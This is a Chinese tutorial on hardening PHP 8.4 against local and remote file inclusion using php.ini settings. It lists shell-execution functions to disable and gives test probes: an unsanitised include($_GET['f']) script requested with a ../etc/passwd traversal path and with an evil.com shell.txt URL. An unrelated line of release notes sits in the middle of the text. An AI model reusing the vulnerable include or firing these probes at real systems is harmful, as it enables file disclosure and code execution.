PHP 8.4 防文件包含需三管齐下:禁用远程包含(allow_url_include=Off、allow_url_fopen=Off)、限制本地访问范围(open_basedir)、禁用危险函数(disable_functions+enable_dl=Off),配置后须重启服务并实测验证。

PHP 8.4 缓解文件包含风险,关键不是“堵住某个函数”,而是从环境层切断攻击路径。核心配置集中在 php.ini,需结合禁用远程包含、限制访问范围、关闭危险特性三方面同步生效。
禁用远程文件包含(RFI)
这是最基础也最关键的一步。若未关闭,攻击者可直接加载恶意远程脚本执行任意代码。
- 在
php.ini中设置:allow_url_include = Off - 同时确认:allow_url_fopen = Off(虽非直接导致 RFI,但能阻断多数伪协议利用链)
- 该配置对所有
include/require系列函数生效,无需改代码
限制本地文件访问范围(LFI 防御)
即使攻击者构造了 ../../../etc/passwd 这类路径,只要 PHP 被锁死在指定目录内,就无法读取系统敏感文件。
修复 Core bailout 状态损坏安全问题,以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误,改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
- 启用 open_basedir:设置为站点根目录 + 临时目录,例如
open_basedir = /www/wwwroot/example.com/:/tmp/ - 若使用宝塔面板,勾选「防跨站攻击」会自动写入此配置;手动编辑时注意路径末尾带斜杠,多个路径用英文冒号分隔(Linux)或分号(Windows)
- 务必测试:创建一个含
include('../etc/passwd');的测试脚本,确认返回“failed to open stream: Operation not permitted”而非内容
关闭危险函数与运行时特性
部分函数本身不参与包含逻辑,但配合用户输入可能间接促成漏洞,应一并禁用。
立即学习“PHP免费学习笔记(深入)”;
- 在
php.ini的 disable_functions 中加入:
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,pcntl_exec - 确保 enable_dl = Off(禁用动态加载扩展,防止绕过)
- 检查 session.upload_progress.enabled = Off(PHP 8.4.27 已修复相关 CVE,但旧版本建议关闭)
验证配置是否真正生效
修改后必须重启 PHP-FPM 或 Web 服务,且不能只看 phpinfo() 页面——要实测行为。
- 执行
php -i | grep -E "(allow_url|open_basedir|disable_functions)",确认输出值与配置一致 - 新建 test.php:
<?php include($_GET['f'] ?? ''); ?>,访问test.php?f=../../../../etc/passwd,应报错而非输出内容 - 访问
test.php?f=http://evil.com/shell.txt,应提示“URL file-access is disabled”


















